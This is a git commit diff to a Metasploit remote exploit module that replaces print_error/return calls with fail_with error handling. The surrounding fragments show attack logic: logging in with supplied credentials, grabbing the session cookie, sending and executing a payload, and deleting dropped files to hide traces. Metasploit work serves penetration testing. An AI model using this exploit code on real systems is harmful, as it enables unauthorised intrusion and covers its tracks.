parent
321eb452c5
commit
fc3094ec9b
|
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
client.fs.file.rm(f)
|
||||
print_good("#{peer} - #{f} removed to stay ninja")
|
||||
rescue
|
||||
print_error("#{peer} - Unable to remove #{f}")
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to remove #{f}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -96,8 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
})
|
||||
|
||||
if res.nil? || res.headers['Location'] =~ /action=Login/ || res.get_cookies.empty?
|
||||
print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
|
||||
return
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
|
||||
end
|
||||
|
||||
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
|
||||
|
@ -129,9 +128,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
|
||||
if not res || res.code != 200
|
||||
print_error("#{peer} - Exploit failed: #{res.code}")
|
||||
return
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed: #{res.code}")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Executing the payload")
|
||||
|
@ -148,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if res && res.code == 200
|
||||
print_good("#{peer} - Payload Executed Successfuly: #{res.code}")
|
||||
else
|
||||
print_error("#{peer} - Payload execution failed: #{res.code}")
|
||||
fail_with(Failure::Unknown, "#{peer} - Payload execution failed: #{res.code}")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue